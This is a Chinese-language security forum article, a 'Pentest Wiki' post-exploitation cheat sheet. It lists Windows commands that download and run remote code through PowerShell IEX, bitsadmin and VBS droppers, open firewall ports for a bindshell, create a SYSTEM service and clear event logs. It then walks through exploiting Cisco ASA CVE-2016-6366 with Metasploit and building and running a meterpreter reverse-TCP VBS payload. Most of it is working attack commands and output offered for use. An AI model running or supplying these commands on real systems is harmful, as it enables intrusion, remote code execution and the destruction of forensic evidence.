Pentest Wiki Part4 后渗透(一)

wing / 2017-12-29 15:05:00 / 浏览数 3270 新手 入门资料 顶(0) 踩(0)

后渗透

0x01 前言

后渗透是渗透测试的关键组成部分。这就是您将自己与普通黑客区分开来的地方，实际上可以从渗透测试中提供有价值的信息和情报。后渗透针对特定系统，识别关键基础设

在后渗透中，进行系统攻击时，应该花时间确定各个系统的功能以及不同的用户角色。例如，假设您了解了域基础架构系统，并以企业管理员身份运行或具有域管理权限。您Directory通信的系统呢？公司的财务应用程序如何？你能否操控这个系统，然后在下一个支付阶段中，把所有的钱从公司转到别的账户上？目标的知识产权如何？

例如，假设您的客户是一家大型软件开发商，它将客户编码的应用程序发送给客户以供制造环境使用。你是否会在自己的源代码加上后门，实质上是让所有的客户都受到损害

后渗透是一个棘手的事情，您必须花时间了解哪些信息可供您使用，然后将这些信息哪些又有利于你。攻击者通常会花费大量的时间在被攻陷的系统上上。像恶意攻击者一样- 具有创造性，快速适应，依靠自己的智慧而不是自动化工具。

远程管理

Command	Description
NET USE \\ip\ipc$ password /user:username	与远程服务建立一个ipc连接，如果成功，您可以尝试查看，查询....具有正确的权限.
NET USE z: \\ip\share$ password /user:username	将远程共享映射为本地驱动器z：
systeminfo /S ComputerName /U username /P password	此工具显示本地或远程计算机的操作系统配置信息，包括服务包级别.
tasklist /S SERVER /U DOMAIN\username /P password	显示远程机器上当前正在运行的进程的列表.
taskkill /S SERVER /U DOMAIN\username /P password	杀死远程服务器中的进程.
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))"	从远程服务器执行代码.
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"	从远程服务器下载文件.
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File test.ps1	本地执行test.ps1
bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file	创建一个名为systemrepair的工作来从远程服务器上下载文件.
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > wget.vbs cscript.exe wget.vbs http://ip:port/filename C:\Windows\temp\filename	用vbs下载文件
echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs cscript.exe %TEMP%\msf.vbs http://ip:port/vbspayload.txt	下载并执行metasploit vbs payload.

PsExec.exe \\192.168.206.145 -accepteula -u username -p password cmd.exe /c ver wmic /node:SERVER /user:DOMAIN\username /password:password process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"	远程执行Windows命令，并返回结果 在远程服务器上创建一个新进程。 没有命令结果返回.

PROXY

Command	Description
NETSH INTERFACE portproxy add v4tov4 listenport=LPORT connectaddress=RHOST connectport=RPORT [listenaddress=LHOST protocol=tcp]	将数据从本地端口传输到远程地址的指定端口.
set http_proxy=http://your_proxy:your_port set http_proxy=http://username:password@your_proxy:your_port set https_proxy=https://your_proxy:your_port set https_proxy=https://username:password@your_proxy:your_port	在命令行下使用代理

Whitelist-白名单

Command	Description
NETSH FIREWALL show all	显示域/标准配置文件的允许的程序配置.
NETSH FIREWALL add allowedprogram C:\Windows\system32\cmd.exe cmd enable	在防火墙允许的应用程序白名单中添加一个程序。
NETSH FIREWALL delete allowedprogram cmd	从防火墙allowedprogram Whitelist删除一个项目，您也可以使用路径来删除它.
NETSH FIREWALL show all	显示域/标准的端口配置.
NETSH FIREWALL add portopening tcp 4444 bindshell enable all	将tcp端口4444添加到端口白名单中.

Service

Command	Description
sc create servicename type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start servicename	创建恶意服务，并获得本地系统特权.

Scheduler

Command	Description
net use \\IP\ipc$ password /user:username at \\ComputerName time "command"	AT命令安排命令和程序在指定的时间和日期在计算机上运行。 net time [/domain]显示当前时间.

Logs

Command	Description
del %WINDIR%*.log /a /s /q /f	从■WINDIR■目录中删除所有*.log文件.
wevtutil el	列出系统保存的不同日志文件.
for /f %a in ('wevtutil el') do @wevtutil cl "%a"	清除特定日志的内容.
powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security	清除特定的事件日志

参考链接

1. How to execute metasploit vbs payload in cmd.exe ?
2. Hacking Windows Active Directory
3. How to dump windows 2012 credentials ?
4. How to use PowerSploit Invoke-Mimikatz to dump credentials ?
5. How to use vssadmin ?

How-to-hack-Cisco-ASA-with-CVE-2016-6366

Cisco ASA - CVE-2016-6366

思科自适应安全设备（ASA）软件的简单网络管理协议（SNMP）代码中的漏洞可能允许经过身份验证的远程攻击者重新加载受影响的系统或远程执行代码。

该漏洞是由于受影响的代码区域中存在缓冲区溢出。 当在虚拟或物理思科ASA设备上启用该漏洞时，该漏洞会影响所有版本的SNMP（版本1,2c和3）。
攻击者可以通过向受影响系统上的启用SNMP的接口发送精心设计的SNMP数据包来利用此漏洞。
攻击者可能允许攻击者执行任意代码并获得对系统的完全控制或导致受影响系统的重载。 攻击者必须知道SNMP字符串才能利用此漏洞。

注意：只有指向受影响系统的流量可用于利用此漏洞。 此漏洞仅影响以路由和透明防火墙模式以及单个或多个上下文模式配置的系统。
此漏洞只能由IPv4流量触发。 攻击者需要了解SNMP版本1和SNMP版本2c中配置的SNMP公共字符串或者SNMP版本3的有效用户名和密码。

思科发布了解决此漏洞的软件更新。 此通报的■■■■部分列出了缓解措施。

如何登录思科ASA？

如果您对Cisco ASA设备一无所知，请尝试使用nmap或自定义工具/方法发现有用的东西。
如果启用snmp，我们可以尝试使用metasploit破解密码。

```
msf auxiliary(snmp_login) > set PASSWORD public
PASSWORD => public
msf auxiliary(snmp_login) > set RHOSTS 192.168.206.114
RHOSTS => 192.168.206.114
msf auxiliary(snmp_login) > run

[+] 192.168.206.114:161 - LOGIN SUCCESSFUL: public (Access level: read-write); Proof (sysDescr.0): Cisco Adaptive Security App
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

现在，CVE-2016-6366可以帮助我们渗透远程cisco设备。

```
msf auxiliary(cisco_asa_extrabacon) > show options

Module options (auxiliary/admin/cisco/cisco_asa_extrabacon):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  MODE       pass-disable     yes       Enable or disable the password auth functions (Accepted: pass-disable, pass-enable)
  RETRIES    1                yes       SNMP Retries
  RHOST      192.168.206.114  yes       The target address
  RPORT      161              yes       The target port
  TIMEOUT    1                yes       SNMP Timeout

msf auxiliary(cisco_asa_extrabacon) > run

[*] Building pass-disable payload for version 9.2(1)...
[*] Sending SNMP payload...
[+] Clean return detected!
[!] Don't forget to run pass-enable after logging in!
[*] Auxiliary module execution completed
```

如果成功利用，请尝试用telnet登录。 攻击者可以不用密码登录到思科设备。

```
$ telnet 192.168.206.114
ciscoasa> ?
 clear       Reset functions
 enable      Turn on privileged commands
 exit        Exit from the EXEC
 help        Interactive help for commands
 login       Log in as a particular user
 logout      Exit from the EXEC
 no          Negate a command or set its defaults
 ping        Send echo messages
 quit        Exit from the EXEC
 show        Show running system information
 traceroute  Trace route to destination
```

如何检查思科版本？

```
ciscoasa> show version

Cisco Adaptive Security Appliance Software Version 9.2(1)
Device Manager Version 7.2(1)

Compiled on Thu 24-Apr-14 12:14 PDT by builders
System image file is "boot:/asa921-smp-k8.bin"
Config file at boot was "startup-config"

ciscoasa up 2 hours 25 mins

Hardware:   ASAv, 2048 MB RAM, CPU Pentium II 2793 MHz,
```

```
Internal ATA Compact Flash, 256MB
Slot 1: ATA Compact Flash, 8192MB
BIOS Flash Firmware Hub @ 0x1, 0KB


0: Ext: Management0/0       : address is 000c.29a9.88d6, irq 10
1: Ext: GigabitEthernet0/0  : address is 000c.29a9.88e0, irq 5
2: Ext: GigabitEthernet0/1  : address is 000c.29a9.88ea, irq 9
3: Ext: GigabitEthernet0/2  : address is 000c.29a9.88f4, irq 10

ASAv Platform License State: Unlicensed
*Install -587174176 vCPU ASAv platform license for full functionality.
The Running Activation Key is not valid, using default settings:

Licensed features for this platform:
Virtual CPUs                      : 0              perpetual
Maximum Physical Interfaces       : 10             perpetual
Maximum VLANs                     : 50             perpetual
Inside Hosts                      : Unlimited      perpetual
Failover                          : Active/Standby perpetual
Encryption-DES                    : Enabled        perpetual
Encryption-3DES-AES               : Enabled        perpetual
Security Contexts                 : 0              perpetual
GTP/GPRS                          : Disabled       perpetual
AnyConnect Premium Peers          : 2              perpetual
AnyConnect Essentials             : Disabled       perpetual
Other VPN Peers                   : 250            perpetual
Total VPN Peers                   : 250            perpetual
Shared License                    : Disabled       perpetual
AnyConnect for Mobile             : Disabled       perpetual
AnyConnect for Cisco VPN Phone    : Disabled       perpetual
Advanced Endpoint Assessment      : Disabled       perpetual
UC Phone Proxy Sessions           : 2              perpetual
Total UC Proxy Sessions           : 2              perpetual
Botnet Traffic Filter             : Enabled        perpetual
Intercompany Media Engine         : Disabled       perpetual
Cluster                           : Disabled       perpetual

This platform has an ASAv VPN Premium license.

Serial Number: 9ATJDXTHK3B
Running Permanent Activation Key: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000

Image type          : Release
Key version         : A

Configuration last modified by enable_15 at 10:12:25.439 UTC Mon Sep 26 2016
```

如何进入特权模式？

enable可以用来进入思科配置模式。 通常，密码为空。

```
ciscoasa> help enable

USAGE:

   enable [<priv_level>]

DESCRIPTION:

enable      Turn on privileged commands

ciscoasa> enable ?

 <0-15>  Enter optional privilege level (0-15)
 <cr>

 ciscoasa> enable
 Password:
```

```
ciscoasa# configure terminal
ciscoasa(config)# ?

  aaa                           Enable, disable, or view user authentication,
                                authorization and accounting
  aaa-server                    Configure a AAA server group or a AAA server
  access-group                  Bind an access-list to an interface to filter
                                traffic
  access-list                   Configure an access control element
  arp                           Change or view ARP table, set ARP timeout
                                value, view statistics
  as-path                       BGP autonomous system path filter
  asdm                          Configure Device Manager
  asp                           Configure ASP parameters
  auth-prompt                   Customize authentication challenge, reject or
                                acceptance prompt
  auto-update                   Configure Auto Update
  banner                        Configure login/session banners
  bgp-community                 format for BGP community
  boot                          Set system boot parameters
  ca                            Certification authority
  call-home                     Smart Call-Home Configuration
  checkheaps                    Configure checkheap verification intervals
  class-map                     Configure MPF Class Map
  clear                         Clear
  client-update                 Configure and change client update parameters
  clock                         Configure time-of-day clock
  cluster                       Cluster configuration
  command-alias                 Create command alias
  community-list                Add a community list entry
  compression                   Configure global Compression parameters
  configure                     Configure using various methods
  console                       Serial console functions
  coredump                      Configure Coredump options
  crashinfo                     Enable/Disable writing crashinfo to flash
  crypto                        Configure IPSec, ISAKMP, Certification
                                authority, key
  ctl-file                      Configure a ctl-file instance
  ctl-provider                  Configure a CTL Provider instance
  cts                           Cisco Trusted Security commands
  ddns                          Configure dynamic DNS update method
  dhcp-client                   Configure parameters for DHCP client operation
  dhcpd                         Configure DHCP Server
  dhcprelay                     Configure DHCP Relay Agent
  dns                           Add DNS functionality to an interface
  dns-group                     Set the global DNS server group
  dns-guard                     Enforce one DNS response per query
  domain-name                   Change domain name
  dynamic-access-policy-record  Dynamic Access Policy configuration commands
  dynamic-filter                Configure Dynamic Filter
  dynamic-map                   Configure crypto dynamic map
  enable                        Configure password for the enable command
  end                           Exit from configure mode
  established                   Allow inbound connections based on established
                                connections
  event                         Configure event manager
  exit                          Exit from config mode
  failover                      Enable/disable failover feature
  filter                        Enable or disable URL, FTP, HTTPS, Java, and
                                ActiveX filtering
  fips                          FIPS 140-2 compliance information
  firewall                      Switch to router/transparent mode
  fixup                         Add or delete inspection services
  flow-export                   Configure flow information export through
                                NetFlow
  fragment                      Configure the IP fragment database
  ftp                           Set FTP mode
  ftp-map                       Configure advanced options for FTP inspection
  group-delimiter               The delimiter for tunnel-group lookup.
```

```
group-policy                Configure or remove a group policy
gtp-map                     Configure advanced options for GTP inspection
h225-map                    Configure advanced options for H225 inspection
help                        Interactive help for commands
hostname                    Change host name of the system
hpm                         Configure TopN host statistics collection
http                        Configure http server and https related
                            commands
http-map                    This command has been deprecated.
icmp                        Configure access rules for ICMP traffic
imap4s                      Configure the imap4s service
interface                   Select an interface to configure
ip                          Configure IP address pools
ip                          Configure IP addresses, address pools, IDS, etc
ipsec                       Configure transform-set, IPSec SA lifetime and
                            PMTU Aging reset timer
ipv6                        Configure IPv6 address pools
ipv6                        Global IPv6 configuration commands
ipv6-vpn-addr-assign        Global settings for VPN IP address assignment
                            policy
isakmp                      Configure ISAKMP options
jumbo-frame                 Configure jumbo-frame support
key                         Create various configuration keys
l2tp                        Configure Global L2TP Parameters
ldap                        Configure LDAP Mapping
logging                     Configure logging levels, recipients and other
                            options
logout                      Logoff from config mode
mac-address                 MAC address options
mac-list                    Create a mac-list to filter based on MAC
                            address
management-access           Configure management access interface
map                         Configure crypto map
media-termination           Configure a media-termination instance
mgcp-map                    Configure advanced options for MGCP inspection
migrate                     Migrate IKEv1 configuration to IKEv2/SSL
monitor-interface           Enable or disable failover monitoring on a
                            specific interface
mount                       Configure a system mount
mroute                      Configure static multicast routes
mtu                         Specify MTU(Maximum Transmission Unit) for an
                            interface
multicast-routing           Enable IP multicast
name                        Associate a name with an IP address
names                       Enable/Disable IP address to name mapping
nat                         Associate a network with a pool of global IP
                            addresses
no                          Negate a command or set its defaults
ntp                         Configure NTP
nve                         Configure an Network Virtulization Endpoint
                            (NVE)
object                      Configure an object
object-group                Create an object group for use in
                            'access-list', etc
object-group-search         Enables object group search algorithm
pager                       Control page length for pagination
passwd                      Change Telnet console access password
password                    Configure password encryption
password-policy             Configure password policy options
phone-proxy                 Configure a Phone proxy instance
pim                         Configure Protocol Independent Multicast
policy-list                 Define IP Policy list
policy-map                  Configure MPF Parameter Map
pop3s                       Configure the pop3s service
prefix-list                 Build a prefix list
priority-queue              Enter sub-command mode to set priority-queue
                            attributes
privilege                   Configure privilege levels for commands
prompt                      Configure session prompt display
```

```
quit                          Exit from config mode
quota                         Configure quotas
regex                         Define a regular expression
remote-access                 Configure SNMP trap threshold for VPN
                              remote-access sessions
route                         Configure a static route for an interface
route-map                     Create route-map or enter route-map
                              configuration mode
router                        Enable a routing process
same-security-traffic         Enable same security level interfaces to
                              communicate
scansafe                      Scansafe configuration
service                       Configure system services
service-interface             service-interface for dynamic interface types
service-policy                Configure MPF service policy
setup                         Pre-configure the system
sla                           IP Service Level Agreement
smtp-server                   Configure default SMTP server address to be
                              used for Email
smtps                         Configure the smtps service
snmp                          Configure the SNMP options
snmp-map                      Configure an snmp-map, to control the operation
                              of the SNMP inspection
snmp-server                   Modify SNMP engine parameters
ssh                           Configure SSH options
ssl                           Configure SSL options
sunrpc-server                 Create SUNRPC services table
sysopt                        Set system functional options
tcp-map                       Configure advanced options for TCP inspection
telnet                        Add telnet access to system console or set idle
                              timeout
terminal                      Set terminal line parameters
tftp-server                   Configure default TFTP server address and
                              directory
threat-detection              Show threat detection information
time-range                    Define time range entries
timeout                       Configure maximum idle times
tls-proxy                     Configure a TLS proxy instance or the maximum
                              sessions
track                         Object tracking configuration commands
tunnel-group                  Create and manage the database of connection
                              specific records for IPSec connections
tunnel-group-map              Specify policy by which the tunnel-group name
                              is derived from the content of a certificate.
uc-ime                        Configure a Cisco Intercompany Media Engine
                              (UC-IME) instance
url-block                     Enable URL pending block buffer and long URL
                              support
url-cache                     Enable/Disable URL caching
url-server                    Configure a URL filtering server
user-identity                 Configure user-identity firewall
username                      Configure user authentication local database
virtual                       Configure address for authentication virtual
                              servers
vnmc                          Configure VNMC params
vpdn                          Configure VPDN feature
vpn                           Configure VPN parameters.
vpn-addr-assign               Global settings for VPN IP address assignment
                              policy
vpn-sessiondb                 Configure the VPN Session Manager
vpnsetup                      Configure VPN Setup Commands
vxlan                         Configure VXLAN system parameters
wccp                          Web-Cache Coordination Protocol Commands
webvpn                        Configure the WebVPN service
xlate                         Configure an xlate option
zonelabs-integrity            ZoneLabs integrity Firewall Server
                              Configuration
```

如何配置cisco接口？

```
ciscoasa(config)# interface ?

configure mode commands/options:
 GigabitEthernet  GigabitEthernet IEEE 802.3z
 Management       Management interface
 Redundant        Redundant Interface
 TVI              Tenant Virtual Interface
 vni              VNI Interface
 <cr>

ciscoasa(config)# interface GigabitEthernet ?

configure mode commands/options:
 <0-0>  GigabitEthernet interface number

ciscoasa(config)# interface GigabitEthernet 0/?

configure mode commands/options:
 <0-2>  GigabitEthernet interface number

ciscoasa(config)# interface GigabitEthernet 0/0
```

如何设置IP地址？

```
ciscoasa(config-if)# ?

Interface configuration commands:
 authentication   authentication subcommands
 ddns             Configure dynamic DNS
 default          Set a command to its defaults
 delay            Specify interface throughput delay
 description      Interface specific description
 dhcp             Configure parameters for DHCP client
 dhcprelay        Configure DHCP Relay Agent
 duplex           Configure duplex operation
 exit             Exit from interface configuration mode
 flowcontrol      Configure flowcontrol operation
 hello-interval   Configures EIGRP-IPv4 hello interval
 help             Interactive help for interface subcommands
 hold-time        Configures EIGRP-IPv4 hold time
 igmp             IGMP interface commands
 ip               Configure the ip address
 ipv6             IPv6 interface subcommands
 mac-address      Assign MAC address to interface
 management-only  Dedicate an interface to management. Block thru traffic
 mfib             Interface Specific MFIB Control
 multicast        Configure multicast routing
 nameif           Assign name to interface
 no               Negate a command or set its defaults
 ospf             OSPF interface commands
 pim              PIM interface commands
 pppoe            Configure parameters for PPPoE client
 rip              Router Information Protocol
 security-level   Specify the security level of this interface after this
                  keyword, Eg: 0, 100 etc. The relative security level between
                  two interfaces determines the way the Adaptive Security
                  Algorithm is applied. A lower security_level interface is
                  outside relative to a higher level interface and equivalent
                  interfaces are outside to each other
 shutdown         Shutdown the selected interface
 speed            Configure speed operation
 split-horizon    Configures EIGRP-IPv4 split-horizon
 summary-address  Configures EIGRP-IPv4 summary-address

ciscoasa(config-if)# ip address ?

interface mode commands/options:
 Hostname or A.B.C.D  Firewall's network interface address
 dhcp                 Keyword to use DHCP to poll for information. Enables the
```

```
                    DHCP client feature on the specified interface
 pppoe              Keyword to use PPPoE to poll for information. Enables
                    the PPPoE client feature on the specified interface
ciscoasa(config)#  ip address 192.168.206.114 255.255.255.0
ciscoasa(config-if)# no shutdown
ciscoasa(config-if)# exit
ciscoasa(config)# exit
ciscoasa# ping 192.168.206.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.206.1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/10 ms
```

如何启用snmp服务？

```
ciscoasa# configure terminal
ciscoasa(config)# snmp-server host inside 192.168.206.1 community 0 public
```

如何启用启用SSH服务?

```
ciscoasa# configure terminal
ciscoasa(config)# username admin password password
ciscoasa(config)# aaa authentication ssh console LOCAL
ciscoasa(config)# passwd password
ciscoasa(config)# crypto key generate rsa ?

configure mode commands/options:
 general-keys  Generate a general purpose RSA key pair for signing and
               encryption
 label         Provide a label
 modulus       Provide number of modulus bits on the command line
 noconfirm     Specify this keyword to suppress all interactive prompting.
 usage-keys    Generate seperate RSA key pairs for signing and encryption
 <cr>
ciscoasa(config)# crypto key generate rsa modulus ?

configure mode commands/options:
 1024  1024 bits
 2048  2048 bits
 4096  4096 bits
 512   512 bits
 768   768 bits

ciscoasa(config)#  ssh 192.168.206.1 255.255.255.0 inside
ciscoasa(config)#  ssh 192.168.206.137 255.255.255.0 inside
ciscoasa(config)#  ssh version 2
```

如何启用Telnet服务?

```
ciscoasa# configure terminal
ciscoasa(config)# aaa authentication telnet console LOCAL
ciscoasa(config)# telnet 0.0.0.0 0.0.0.0 inside
```

链接

1. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp
2. http://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-3.firewalls/118075-configure-asa-00.html
3. https://github.com/RiskSense-Ops/CVE-2016-6366/
4. http://paper.seebug.org/31/

Windows_ActiveDirectory

在cmd shell中执行metasploit vbs payload

如果你是一个pentester/安全研究员，你可能希望从`cmd shell`获得`meterpreter`会话，例如：`sqlmap --os-shell`■■■■■。例如：

```
$ ncat -l -p 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\Documents and Settings\test\Desktop>ver
ver

Microsoft Windows XP [Version 5.1.2600]
C:\Documents and Settings\test\Desktop>
```

在以前，你可能会尝试下面的方法：

- 将exe转换成批处理脚本。
- 从远程服务器下载payload文件（ftp，tftp，http，....）
- ......

现在，我将向您展示如何在cmd.exe中运行metasploit payload。 请尝试考虑以下问题：

- 如何用msfvenom生成一个payload？
- 如何以简单/兼容的方式运行payload？

如何用msfvenom生成一个payload？

```
$ msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of vbs file: 7370 bytes
Function oSpLpsWeU(XwXDDtdR)
 urGQiYVn = "" & _
 XwXDDtdR & ""
 Set gFMdOBBiLZ = CreateObject("MSXML2.DOMDocument.3.0")
 gFMdOBBiLZ.LoadXML(urGQiYVn)
 oSpLpsWeU = gFMdOBBiLZ.selectsinglenode("B64DECODE").nodeTypedValue
 set gFMdOBBiLZ = nothing
End Function

Function skbfzWOqR()
 cTENSbYbnWY = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcy
 Dim GBHMAfCsea
 Set GBHMAfCsea = CreateObject("Scripting.FileSystemObject")
 Dim nYosrMtHSIOKSTI
 Dim LNXsqHXEKZQU
 Set nYosrMtHSIOKSTI = GBHMAfCsea.GetSpecialFolder(2)
 LNXsqHXEKZQU = nYosrMtHSIOKSTI & "\" & GBHMAfCsea.GetTempName()
 GBHMAfCsea.CreateFolder(LNXsqHXEKZQU)
 YeQZhbvaLPekFW = LNXsqHXEKZQU & "\" & "QoziwORKliqRDPs.exe"
 Dim voFeIDpffjdo
 Set voFeIDpffjdo = CreateObject("Wscript.Shell")
 WwqoNcaCIbw = oSpLpsWeU(cTENSbYbnWY)
 Set WQwWDbhse = CreateObject("ADODB.Stream")
 WQwWDbhse.Type = 1
 WQwWDbhse.Open
 WQwWDbhse.Write WwqoNcaCIbw
 WQwWDbhse.SaveToFile YeQZhbvaLPekFW, 2
 voFeIDpffjdo.run YeQZhbvaLPekFW, 0, true
 GBHMAfCsea.DeleteFile(YeQZhbvaLPekFW)
 GBHMAfCsea.DeleteFolder(LNXsqHXEKZQU)
End Function

skbfzWOqR
```

演示：
可以把生成的payload放到服务器，然后再目标系统上执行ps代码，文章开头说的远程下载：

如何以简单/兼容的方式运行payload？

阅读代码，我们可以创建一个名为msf.vbs的简单的vbs脚本来执行shellcode。 vbs脚本可以在Windows XP / 2003 / Vista / 7/8/10/2008/2012 / ....上执行

```
shellcode = WScript.Arguments.Item(0)
strXML = "" & shellcode & ""
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
```

```
oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
set oXMLDoc = nothing
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write decode
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe, 0, true
fso.DeleteFile(tempexe)
fso.DeleteFolder(basedir)
```

```
Ok, how to run it in cmd.exe ? Do you want  to paste the code line by line ?  A simple command is created as follow:
```

用一个简单的命令上传msf.vbs到目标系统：

```
echo shellcode = WScript.Arguments.Item(0):strXML = ^"^^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSX
```

用msf.vbs和cscript.exe执行metasploit payload:

```
C:\Documents and Settings\test\Desktop> cscript.exe msf.vbs <msf-vbs-shellcode>
```

绕过nc shell缓冲区大小限制

如果脚本在本地主机上的cmd.exe中使用，则一切正常。 但是，如果它在netcat cmd shell中使用，则 payload将被破坏。例如：

```
C:\Documents and Settings\test\Desktop>cscript.exe %TEMP%\msf.vbs TVqQAAMAA.....AAAAAP

Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.

C:\DOCUME~1\test\LOCALS~1\Temp\msf.vbs(1, 53) Microsoft VBScript compilation error: Syntax error
```

- origin payload size: 6160
- netcat handle payload size: 4068

请自己尝试，为了安全测试，另外创建了一个vbs脚本。

```
echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFile
```

运行以下命令来执行您的vbs payload：

```
START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt
```

参考来源

- https://github.com/nixawk/psmsf/blob/master/vbsmsf.bat
- http://stackoverflow.com/questions/3205027/maximum-length-of-command-line-string
- https://operatingquadrant.com/2009/09/11/vbs-decoding-base64-strings-in-10-lines-of-code/
- https://social.technet.microsoft.com/Forums/systemcenter/en-US/b8839003-0a8f-4d41-a04a-f09f79103d0e/scom-sp1-groups-classes-and-snmp?forum=c
- http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html
- http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
- https://github.com/rapid7/metasploit-framework/blob/c00df4dd712bbc4cfbb9f46d963eb0490094b4de/modules/exploits/windows/misc/regsvr32_applock

上一篇：利用BHO实现IE浏览器劫持 下一篇：Pentest Wiki Part...

1. 1 条回复


VS0X 2018-01-03 00:31:51

抢沙发，哈哈哈，支持一波

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板